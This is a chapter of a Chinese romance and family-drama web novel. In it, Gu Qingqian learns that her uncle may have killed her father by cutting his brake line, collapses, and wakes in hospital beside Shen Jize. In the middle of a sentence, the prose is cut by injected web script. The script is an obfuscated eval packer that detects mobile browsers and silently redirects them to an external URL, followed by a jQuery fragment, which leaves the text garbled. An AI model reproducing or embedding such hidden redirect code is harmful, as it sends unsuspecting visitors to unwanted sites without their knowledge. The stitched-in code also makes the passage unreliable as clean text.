18. 刹车
作品:《假冒》 夏日深夜,一片静谧。
顾清浅双脸滚烫,整个人身体陷在柔软的被窝中,脑海里反复回放着沈季泽今晚亲吻她的场景。
昏黄的路灯下,他们的身影交缠在一起,他温热的气息拂过她的耳畔,两人的呼吸交织交错,带着灼人的温度。
那氛围太过缱绻,心脏扑通扑通地跳的激荡起伏,他身上的味道、他放在她后颈的手,哪一样都足以让她几乎失神。
她被迫承受着他温柔却又带着侵占性的掠夺,唇齿间的纠缠让她浑身发软,连指尖都泛起微麻的酥意。
想到这里,顾清浅猛地将被子拉过头顶,把自己裹成一个严实的粽子,脸颊的热度只增不减,她的心跳声依旧一声一声地叫嚣着。
须臾,她一把掀开被子,赤脚踩在地毯上,快步走到书桌前拿起手机,点开了录音功能。
片刻后,安静的房间内,一段带着些许沙哑却格外动人的哼唱声缓缓流淌,轻柔不甜腻。
……
早晨。
一夜全是旖旎暧昧的梦境,顾清浅眼神失焦地望着窗外。
她打开手机,看到了安姨在半夜时分发来的语音消息:“浅浅,你妈妈的情况好多了,这周会有医生专门联系你详细说病情。”
顾清浅嘴角弯出一抹弧度,随后,她打开视频软件将那首录制的新歌发了出去,随后习惯性地将手机调成静音收进抽屉。
她向来擅长捕捉稍纵即逝的灵感,昨晚那首在哼唱中初具雏形的新歌还等着她打磨。
她将自己锁在房间里,全身心投入到创作中,键盘敲击声和偶尔的哼唱交织成独属她的旋律。
不知过了多久,楼下传来熟悉的高跟鞋敲击地面的声音,清脆又带着几分焦躁不安。
顾清浅轻抬眼皮,仍旧在乐谱上修改着音符,这样的声音,她早已见怪不怪。
果然,下一秒,她的房门就被顾雅猛地踹开,门板撞在墙上发出沉闷的响声。
但这一次,顾清浅没有像从前那样下意识地瑟缩,只是握着笔的手顿了顿,抬眸望了过去。
预想中的歇斯底里并未出现,顾雅站在门口,脸上带着隐忍的怒意,咬着牙挤出一句:“顾清浅,对不起。”
顾清浅猛地睁大眼睛,有些难以置信地看着她。
顾雅向来心高气傲,仗着方怡的宠爱在她面前耀武扬威,何曾有过这样低眉顺眼的时候?她居然也会说对不起?
何况还是对她?
“嗯。”顾清浅收回目光,语气平静。
顾雅的拳头瞬间攥紧,指甲深陷掌心,声音里的怒意再也藏不住:“你这个……你不要不识好歹!”
若不是为了能被放出来,她必须亲自来低头道歉,她早就冲上去撕碎顾清浅这副淡然的嘴脸了。
沈季泽到底为什么对她这么特别?
像他那样冷漠疏离的天之骄子,绝不可能是因为喜欢,这里面一定有猫腻,她非要查个水落石出不可。
“你的道歉我不接受。”顾清浅目光仍旧落在乐谱上,懒得再看她一眼。
顾雅见状几步走到她面前,俯身凑近,挑着眉:“你不会真以为沈季泽是什么好人吧?他那些传闻,你没听过?”
顾清浅确实没听过,也从未刻意去打听他的过往。
顾雅发出一声冷笑,眼神里满是幸灾乐祸:“我等着看你掉下来摔死的那天。”
说完,她转身踩着高跟鞋,怒气冲冲地离开了。
顾清浅没有被她的话影响,指尖在琴键上跳跃,全身心投入到创作中。
不知不觉,三天过去了。
傍晚时分,她终于站起身伸了个懒腰,才想起打开手机,屏幕上密密麻麻的未接来电让她愣了一下。
大多是安姨打来的,还有几个陌生号码。
她没在意那些陌生号码,只当是骚扰电话,立刻给安姨回了视频。
“安姨,怎么了?是不是妈妈那边有什么事?”
视频里,安姨的脸色有些凝重,叹了口气:“浅浅,安姨这边有点情况,想跟你说一下。”
“您说,安姨。”顾清浅的心提了起来。
“你妈妈今天清醒了一会儿,我录了段视频,思来想去,还是该发给你。”
“是……是有什么问题吗?”顾清浅的预感越来越不好,指尖微微发凉。
安姨的声音带着沉重:“你爸当年车祸去世,可能不是意外,和你大伯父有关。”
……
后面的话,顾清浅已经听不清了,大脑像是被重锤击中,一直在嗡嗡作响。
她失魂落魄地挂断电话,手指颤抖着点开安姨发来的视频。
视频里,妈妈温若华脸色苍白,眼神里满是惊恐不安,对着镜头断断续续地说:“顾明山剪得,是他剪得。”
“剪得什么?”安姨焦急的声音从旁边传来。
温若华猛地瞪大眼睛,声音里带着哭腔:“刹车线,是刹车线。”
“他剪了谁的刹车线?”
“不能说……会被打针……宝宝会危险,我的宝宝会有危险……”温若华突然激动起来,语无伦次。
视频后面传来一阵嘈杂的英语对话的声音,似乎是医生和护士进来安抚她。
顾清浅的眼泪瞬间忍不住了,大颗大颗地砸在手机屏幕上。
她死死攥着拳头,指节泛白。
这么多年,她在方怡和顾雅的欺辱下忍气吞声,以为大伯父顾明山只是忙于工作,对家里的事疏于关心,却万万没想到。
那个看似温和中庸的大伯父,竟然是害死爸爸的凶手。
一股强
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143323|180464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烈的恶心感涌上喉咙,她捂着嘴冲进洗手间,趴在马桶边剧烈地干呕起来,直到吐出酸水,胃里还是一阵阵翻江倒海。
她扶着墙壁站起身,突然一阵天旋地转,眼前瞬间一片漆黑。
她意识到不对劲,凭着最后一丝力气摸出手机,指尖胡乱地划过屏幕,拨通了一通电话。
电话很快被接起,容迟熟悉的声音传来:“清浅?怎么了?”
顾清浅的声音微弱无比:“容迟哥……”
……
顾清浅睁开眼时,首先撞进视线的竟是沈季泽。
她的意识还有些混沌,眼皮沉甸甸地发黏,脑子里晕乎乎的,她以前也有低血糖的时候,但从来没这么严重过。
她记得最后那个电话是随手乱划拨通的,明明当时接听的人是容迟,她根本就没有沈季泽的号码,他怎么会来到这里呢?
顾清浅虚虚地抬起来向他挥了挥手,声音很细微:“沈先生……”
沈季泽立刻闻声转过头,眸色里带着不易察觉的紧张,连忙起身走近:“醒了?头还晕吗?”
顾清浅摇摇头,视线落在他身上,依旧觉得有些不真实。
“你低血糖晕倒了。”沈季泽的声音放得很轻,像是怕惊扰了她:“现在想吃什么?”
“粥。”顾清浅几乎是本能地答,她迫切地想要吃碳水。
沈季泽没多言,伸手摁了床头的呼叫铃,没过多久,护士便推着餐车送来了营养餐。
正这时,病房门被推开,容凡和容迟拎着几个餐盒走了进来。
看到病床上醒着的顾清浅,容凡先松了口气:“清浅,你醒啦。”
“嗯,我没事。”顾清浅扯出一抹浅淡的笑,声音还有些虚弱。
容迟几步走到床边,大大咧咧地开口,一边说一边瞥向沈季泽:“沈总,你怎么在这儿?特意来找我的?说了今晚的聚会我不去,犯不着亲自跑一趟吧。”
他说着又转向顾清浅,语气瞬间软下来:“浅浅,你可算醒了,吓死哥哥了,幸好你机灵,知道给我打电话,那对黑心肠的夫妇才不会管你死活。”
闻言,顾清浅心头一跳,下意识地朝沈季泽看去。
他正拿着勺子的手顿了顿,拧开粥盒盖子的动作僵在半空,侧脸的线条似乎瞬间夹杂着几分冷硬。
容迟丝毫没察觉气氛不对,还在十分关切地探身:“你脸色怎么这么白?是不是还有哪里不舒服?”
说着,他的手就朝她的额头伸了过去。
沈季泽的脸色骤然沉了下来,他将那份刚打开的营养粥塞给旁边的容凡,声音冷沉:“这里交给你。”
话音未落,他忽然伸手,一把攥住容迟的胳膊,不由分说地将人拽出了病房。
“咚”的一声门被关上,顾清浅吓得浑身一哆嗦。